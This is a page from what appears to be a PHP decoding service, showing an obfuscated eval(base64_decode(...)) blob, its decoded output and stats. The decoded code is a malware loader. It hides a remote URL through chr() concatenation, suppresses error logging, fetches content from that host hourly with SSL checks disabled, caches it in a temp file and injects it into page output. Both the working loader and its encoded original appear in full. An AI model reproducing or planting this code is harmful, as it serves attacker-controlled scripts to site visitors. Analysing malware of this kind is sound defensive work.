Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode('DQo/Pjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIw0KPz48P3BocA0KDQokR0xPQkFMU1..
Decoded Output download
?><?php
####################
?><?php
$GLOBALS["DEBUG"]=$DEBUG=0;
if($DEBUG>=3) {
ini_set("display_errors",TRUE);
ini_set("error_reporting", E_ALL ^ E_NOTICE);
}else{
@ini_set("display_errors",FALSE);
@ini_set("error_reporting", 0);
}
@ini_set("log_errors", FALSE);
@ini_alter("log_errors", FALSE);
if(function_exists("restore_error_handler")) restore_error_handler();
if(function_exists("restore_exception_handler")) restore_exception_handler();
@set_time_limit(7);
$timestart=time();
#########
if(!function_exists("file_get_contents")){
function file_get_contents($file){
$content=implode("",file($file));
if(strlen($content)<1) {return FALSE;}
return $content;
}}
if(!function_exists("file_put_contents")){
@define("FILE_APPEND", 8);
function file_put_contents($file,$content="",$parm=""){
if($parm==8||$parm=="FILE_APPEND"){$fp=fopen($file,"a");}
else{$fp=fopen($file,"w");}
if($fp){
if(fwrite($fp,$content)===FALSE){return FALSE;}
fclose($fp);
return strlen($content);
}else{return FALSE;}
}}
if(!function_exists("url_get_mini")){
function url_get_mini($url, $timeout=8, $DEBUG=0){
$headers = array(
"user_agent" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2745.104 Safari/527.35"
,"1" => "Accept-Language: en-US,en;q=0.5"
,"2" => "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7"
,"3" => "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
,"4" => "Accept-Encoding: identity"
,"5" => "Cache-Control: no-cache"
,"6" => "Connection: close"
);
if(!stristr($url,"://")) $url="http://".$url;
$a=parse_url($url);
if(empty($a[port])){$a[port]=80;}
if(empty($a[path])){$a[path]="/";}
$res=FALSE;
if( 1 && function_exists('curl_init') ){
if(($sh=curl_init($url))){
curl_setopt($sh, CURLOPT_HEADER, FALSE);
curl_setopt($sh, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($sh, CURLOPT_TIMEOUT, $timeout);
curl_setopt($sh, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($sh, CURLOPT_HTTPHEADER, $headers);
curl_setopt($sh, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($sh, CURLOPT_SSL_VERIFYHOST, false);
$res=curl_exec($sh);
curl_close($sh);
}
}
elseif( 1 && (ini_set("allow_url_fopen", TRUE) || 1) && in_array(ini_get("allow_url_fopen"),array(1,TRUE,"TRUE","On","ON")) ){
ini_set("default_socket_timeout", $timeout);
ini_set("user_agent", str_replace("User-Agent: ","",$headers["user_agent"]));
$opts = array(
'http'=>array(
'method'=> "GET"
,'header'=> implode("
",$headers)."
"
,'timeout'=> $timeout
)
);
$context = stream_context_create($opts);
$res="";
if(function_exists('file')){
if(substr(PHP_VERSION,0,1)>=5 || substr(phpversion(),0,1)>=5) {
$res = implode("",file($url, false, $context)); ## php5 GET+POST
}else{
$res = implode("",file($url)); ## phpALL GET
}
}
}
elseif( 1 && function_exists('fsockopen') ){
$old_time_limit=ini_get("max_execution_time"); ## remember
set_time_limit($timeout); ## only this timeout really work
$head=implode("
",$headers)."
";
if(($sh=fsockopen($a[host], $a[port], $errno, $errstr, $timeout))){
stream_set_timeout($sh,$timeout); ## this timeout not work
$str="GET"
." {$a[path]}".(!empty($a[query])?"?{$a[query]}":"")." HTTP/1.0
"
."Host: ".$a[host].(empty($a[port])||$a[port]==80?'':':'.$a[port])."
"
.(!empty($head)?$head:'')
."
"
;
fwrite($sh, $str);
$res = "";
while(!feof($sh))
{ $res .= fgets($sh, 4096); }
fclose($sh);
$res=substr($res, strpos($res,"
")+4);
}
set_time_limit($old_time_limit); ## recover
}
if(strlen($res)<1) $res=FALSE;
return $res;
}}
#########
$url_to=chr(104)."t".chr(116)."p".":"."/".chr(47)."f"."r".chr(101)."e"."w".chr(101)."b".chr(115).chr(116)."a".chr(116)."i"."s".chr(116).chr(105)."c"."s".chr(46).chr(110)."e".chr(116)."/"."i".chr(100).chr(52).chr(46)."p".chr(104).chr(112);
$wrdir="";
$FLAG=FALSE;
if($FLAG===FALSE && ($wrdir="/tmp") && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir="/var/tmp") && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && function_exists("sys_get_temp_dir") && ($wrdir=sys_get_temp_dir()) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=ini_get("upload_tmp_dir")) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=ini_get("session.save_path")) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && (count($tmp=stream_get_meta_data($fp=tmpfile()))>1 && fclose($fp) && $wrdir=dirname($tmp["uri"])) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && (($tmp=tempnam(1,111))!==FALSE && ($wrdir=dirname($tmp)) && unlink($tmp)) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=getcwd()) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE && ($wrdir=dirname(__FILE__)) && is_writable($wrdir)) $FLAG=TRUE;
if($FLAG===FALSE) { $wrdir=""; if($DEBUG) {die("<br>[-] TMPDIR not writable!");} else {die();} }
//print "<br>".$wrdir;
$wrpre="sess";
$uniq_key=dirname(__FILE__);
$f_res = $wrdir."/".$wrpre."_".md5($uniq_key."js8v");
$f_last = $wrdir."/".$wrpre."_".md5($uniq_key."last8v");
#########
$res_default='
//default
';
$res=FALSE;
if(
( !file_exists($f_last) )
||
( 3600 < ($timestart - (int)file_get_contents($f_last)) )
) {
$res=url_get_mini($url_to, 3);
if( !$res || strlen($res)<5 || !stristr($res,"onDate") ){
$res=$res_default;
}
file_put_contents($f_res, $res);
file_put_contents($f_last, $timestart);
}
if( $res===FALSE ) {
$res=file_get_contents($f_res);
}
print chr(42).chr(47);
print $res;
$timestart=$url_to=$wrpre=$uniq_key=$wrdir=$f_res=$f_last=$res=$res_default=FALSE;
die;
Did this file decode correctly?
Original Code
eval(base64_decode('DQo/Pjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIw0KPz48P3BocA0KDQokR0xPQkFMU1siREVCVUciXT0kREVCVUc9MDsNCg0KaWYoJERFQlVHPj0zKSB7IA0KCWluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixUUlVFKTsNCglpbmlfc2V0KCJlcnJvcl9yZXBvcnRpbmciLCBFX0FMTCBeIEVfTk9USUNFKTsNCn1lbHNlew0KCUBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsRkFMU0UpOw0KCUBpbmlfc2V0KCJlcnJvcl9yZXBvcnRpbmciLCAwKTsNCn0NCkBpbmlfc2V0KCJsb2dfZXJyb3JzIiwgRkFMU0UpOw0KQGluaV9hbHRlcigibG9nX2Vycm9ycyIsIEZBTFNFKTsNCmlmKGZ1bmN0aW9uX2V4aXN0cygicmVzdG9yZV9lcnJvcl9oYW5kbGVyIikpIHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJyZXN0b3JlX2V4Y2VwdGlvbl9oYW5kbGVyIikpIHJlc3RvcmVfZXhjZXB0aW9uX2hhbmRsZXIoKTsNCg0KQHNldF90aW1lX2xpbWl0KDcpOw0KDQokdGltZXN0YXJ0PXRpbWUoKTsNCg0KIyMjIyMjIyMjDQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfZ2V0X2NvbnRlbnRzIikpew0KZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpew0KCSRjb250ZW50PWltcGxvZGUoIiIsZmlsZSgkZmlsZSkpOw0KIAlpZihzdHJsZW4oJGNvbnRlbnQpPDEpIHtyZXR1cm4gRkFMU0U7fQ0KCXJldHVybiAkY29udGVudDsNCn19DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfcHV0X2NvbnRlbnRzIikpew0KQGRlZmluZSgiRklMRV9BUFBFTkQiLCA4KTsNCmZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb250ZW50PSIiLCRwYXJtPSIiKXsNCglpZigkcGFybT09OHx8JHBhcm09PSJGSUxFX0FQUEVORCIpeyRmcD1mb3BlbigkZmlsZSwiYSIpO30NCgllbHNleyRmcD1mb3BlbigkZmlsZSwidyIpO30NCglpZigkZnApew0KCQlpZihmd3JpdGUoJGZwLCRjb250ZW50KT09PUZBTFNFKXtyZXR1cm4gRkFMU0U7fQ0KCQlmY2xvc2UoJGZwKTsNCgkJcmV0dXJuIHN0cmxlbigkY29udGVudCk7DQoJfWVsc2V7cmV0dXJuIEZBTFNFO30NCn19DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoInVybF9nZXRfbWluaSIpKXsNCmZ1bmN0aW9uIHVybF9nZXRfbWluaSgkdXJsLCAkdGltZW91dD04LCAkREVCVUc9MCl7DQoNCgkkaGVhZGVycyA9IGFycmF5KA0KCSAidXNlcl9hZ2VudCIgPT4gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81Mi4wLjI3NDUuMTA0IFNhZmFyaS81MjcuMzUiDQoJLCIxIiA9PiAiQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNSINCgksIjIiID0+ICJBY2NlcHQtQ2hhcnNldDogd2luZG93cy0xMjUxLHV0Zi04O3E9MC43LCo7cT0wLjciDQoJLCIzIiA9PiAiQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLCovKjtxPTAuOCINCgksIjQiID0+ICJBY2NlcHQtRW5jb2Rpbmc6IGlkZW50aXR5Ig0KCSwiNSIgPT4gIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIg0KCSwiNiIgPT4gIkNvbm5lY3Rpb246IGNsb3NlIg0KCSk7DQoNCglpZighc3RyaXN0cigkdXJsLCI6Ly8iKSkgJHVybD0iaHR0cDovLyIuJHVybDsNCgkkYT1wYXJzZV91cmwoJHVybCk7DQoJaWYoZW1wdHkoJGFbcG9ydF0pKXskYVtwb3J0XT04MDt9DQoJaWYoZW1wdHkoJGFbcGF0aF0pKXskYVtwYXRoXT0iLyI7fQ0KDQogICAgJHJlcz1GQUxTRTsNCg0KICAgIGlmKCAxICYmIGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykgKXsNCglpZigoJHNoPWN1cmxfaW5pdCgkdXJsKSkpew0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9USU1FT1VULCAkdGltZW91dCk7DQoJCWN1cmxfc2V0b3B0KCRzaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCgkJY3VybF9zZXRvcHQoJHNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7DQoJCSRyZXM9Y3VybF9leGVjKCRzaCk7DQoJCWN1cmxfY2xvc2UoJHNoKTsNCgl9DQogICAgfQ0KDQogICAgZWxzZWlmKCAxICYmIChpbmlfc2V0KCJhbGxvd191cmxfZm9wZW4iLCBUUlVFKSB8fCAxKSAmJiBpbl9hcnJheShpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxhcnJheSgxLFRSVUUsIlRSVUUiLCJPbiIsIk9OIikpCQkpew0KDQoJaW5pX3NldCgiZGVmYXVsdF9zb2NrZXRfdGltZW91dCIsICR0aW1lb3V0KTsNCglpbmlfc2V0KCJ1c2VyX2FnZW50Iiwgc3RyX3JlcGxhY2UoIlVzZXItQWdlbnQ6ICIsIiIsJGhlYWRlcnNbInVzZXJfYWdlbnQiXSkpOw0KDQoJJG9wdHMgPSBhcnJheSgNCgkJJ2h0dHAnPT5hcnJheSgNCgkJCQkgJ21ldGhvZCc9PgkiR0VUIg0KCQkJCSwnaGVhZGVyJz0+CWltcGxvZGUoIlxyXG4iLCRoZWFkZXJzKS4iXHJcbiINCgkJCQksJ3RpbWVvdXQnPT4JJHRpbWVvdXQNCgkJCSkJDQoJCSk7DQoJJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdHMpOw0KDQoJJHJlcz0iIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKSl7DQoJCWlmKHN1YnN0cihQSFBfVkVSU0lPTiwwLDEpPj01IHx8IHN1YnN0cihwaHB2ZXJzaW9uKCksMCwxKT49NSkgew0KCQkJJHJlcyA9IGltcGxvZGUoIiIsZmlsZSgkdXJsLCBmYWxzZSwgJGNvbnRleHQpKTsgIyMgcGhwNSBHRVQrUE9TVA0KCQl9ZWxzZXsNCgkJCSRyZXMgPSBpbXBsb2RlKCIiLGZpbGUoJHVybCkpOyAjIyBwaHBBTEwgR0VUDQoJCX0NCgl9DQogICAgfQ0KDQogICAgZWxzZWlmKCAxICYmIGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykgKXsNCg0KCSRvbGRfdGltZV9saW1pdD1pbmlfZ2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiKTsgIyMgcmVtZW1iZXINCglzZXRfdGltZV9saW1pdCgkdGltZW91dCk7ICMjIG9ubHkgdGhpcyB0aW1lb3V0IHJlYWxseSB3b3JrIA0KDQoJJGhlYWQ9aW1wbG9kZSgiXHJcbiIsJGhlYWRlcnMpLiJcclxuIjsNCg0KCWlmKCgkc2g9ZnNvY2tvcGVuKCRhW2hvc3RdLCAkYVtwb3J0XSwgJGVycm5vLCAkZXJyc3RyLCAkdGltZW91dCkpKXsNCgkJc3RyZWFtX3NldF90aW1lb3V0KCRzaCwkdGltZW91dCk7ICMjIHRoaXMgdGltZW91dCBub3Qgd29yayANCgkJJHN0cj0iR0VUIg0KCQkJLiIgeyRhW3BhdGhdfSIuKCFlbXB0eSgkYVtxdWVyeV0pPyI/eyRhW3F1ZXJ5XX0iOiIiKS4iIEhUVFAvMS4wXHJcbiINCgkJCS4iSG9zdDogIi4kYVtob3N0XS4oZW1wdHkoJGFbcG9ydF0pfHwkYVtwb3J0XT09ODA/Jyc6JzonLiRhW3BvcnRdKS4iXHJcbiINCgkJCS4oIWVtcHR5KCRoZWFkKT8kaGVhZDonJykNCgkJCS4iXHJcbiINCgkJOw0KCQlmd3JpdGUoJHNoLCAkc3RyKTsNCgkJJHJlcyA9ICIiOw0KICAgICAJCXdoaWxlKCFmZW9mKCRzaCkpDQoJCQl7ICRyZXMgLj0gZmdldHMoJHNoLCA0MDk2KTsgfQ0KCQlmY2xvc2UoJHNoKTsNCgkJJHJlcz1zdWJzdHIoJHJlcywgc3RycG9zKCRyZXMsIlxyXG5cclxuIikrNCk7DQoJfQkNCglzZXRfdGltZV9saW1pdCgkb2xkX3RpbWVfbGltaXQpOyAjIyByZWNvdmVyDQogICAgfQ0KDQogICAgaWYoc3RybGVuKCRyZXMpPDEpICRyZXM9RkFMU0U7DQoNCiAgICByZXR1cm4gJHJlczsNCn19DQoNCiMjIyMjIyMjIw0KDQokdXJsX3RvPWNocigxMDQpLiJ0Ii5jaHIoMTE2KS4iXHg3MCIuIlx4M2EiLiJceDJmIi5jaHIoNDcpLiJceDY2Ii4iciIuY2hyKDEwMSkuImUiLiJceDc3Ii5jaHIoMTAxKS4iYiIuY2hyKDExNSkuY2hyKDExNikuImEiLmNocigxMTYpLiJpIi4icyIuY2hyKDExNikuY2hyKDEwNSkuImMiLiJceDczIi5jaHIoNDYpLmNocigxMTApLiJceDY1Ii5jaHIoMTE2KS4iLyIuImkiLmNocigxMDApLmNocig1MikuY2hyKDQ2KS4iXHg3MCIuY2hyKDEwNCkuY2hyKDExMik7DQoNCiR3cmRpcj0iIjsNCiRGTEFHPUZBTFNFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPSIvdG1wIikgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj0iL3Zhci90bXAiKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiBmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSAmJiAoJHdyZGlyPXN5c19nZXRfdGVtcF9kaXIoKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCR3cmRpcj1pbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPWluaV9nZXQoInNlc3Npb24uc2F2ZV9wYXRoIikpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmIChjb3VudCgkdG1wPXN0cmVhbV9nZXRfbWV0YV9kYXRhKCRmcD10bXBmaWxlKCkpKT4xICYmIGZjbG9zZSgkZnApICYmICR3cmRpcj1kaXJuYW1lKCR0bXBbInVyaSJdKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKCgkdG1wPXRlbXBuYW0oMSwxMTEpKSE9PUZBTFNFICYmICgkd3JkaXI9ZGlybmFtZSgkdG1wKSkgJiYgdW5saW5rKCR0bXApKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPWdldGN3ZCgpKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPWRpcm5hbWUoX19GSUxFX18pKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSkgeyAkd3JkaXI9IiI7IGlmKCRERUJVRykge2RpZSgiPGJyPlstXSBUTVBESVIgbm90IHdyaXRhYmxlISIpO30gZWxzZSB7ZGllKCk7fSB9DQovL3ByaW50ICI8YnI+Ii4kd3JkaXI7DQoNCiR3cnByZT0ic2VzcyI7DQokdW5pcV9rZXk9ZGlybmFtZShfX0ZJTEVfXyk7DQoNCiRmX3JlcyAgPSAkd3JkaXIuIi8iLiR3cnByZS4iXyIubWQ1KCR1bmlxX2tleS4ianM4diIpOw0KJGZfbGFzdCA9ICR3cmRpci4iLyIuJHdycHJlLiJfIi5tZDUoJHVuaXFfa2V5LiJsYXN0OHYiKTsNCg0KDQojIyMjIyMjIyMNCg0KJHJlc19kZWZhdWx0PScNCi8vZGVmYXVsdA0KJzsNCg0KJHJlcz1GQUxTRTsNCg0KaWYoIA0KCSggIWZpbGVfZXhpc3RzKCRmX2xhc3QpICkNCgl8fA0KCSggMzYwMCA8ICgkdGltZXN0YXJ0IC0gKGludClmaWxlX2dldF9jb250ZW50cygkZl9sYXN0KSkgKQ0KKSB7DQoJJHJlcz11cmxfZ2V0X21pbmkoJHVybF90bywgMyk7DQoJaWYoICEkcmVzIHx8IHN0cmxlbigkcmVzKTw1IHx8ICFzdHJpc3RyKCRyZXMsIm9uRGF0ZSIpICl7DQoJCSRyZXM9JHJlc19kZWZhdWx0Ow0KCX0NCglmaWxlX3B1dF9jb250ZW50cygkZl9yZXMsICRyZXMpOw0KCWZpbGVfcHV0X2NvbnRlbnRzKCRmX2xhc3QsICR0aW1lc3RhcnQpOw0KfQ0KDQppZiggJHJlcz09PUZBTFNFICkgew0KCSRyZXM9ZmlsZV9nZXRfY29udGVudHMoJGZfcmVzKTsNCn0NCg0KcHJpbnQgY2hyKDQyKS5jaHIoNDcpOw0KcHJpbnQgJHJlczsNCg0KJHRpbWVzdGFydD0kdXJsX3RvPSR3cnByZT0kdW5pcV9rZXk9JHdyZGlyPSRmX3Jlcz0kZl9sYXN0PSRyZXM9JHJlc19kZWZhdWx0PUZBTFNFOw0KDQpkaWU7DQo='));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 849ac61642c70e6198c693afb7791e40 |
| Eval Count | 1 |
| Decode Time | 82 ms |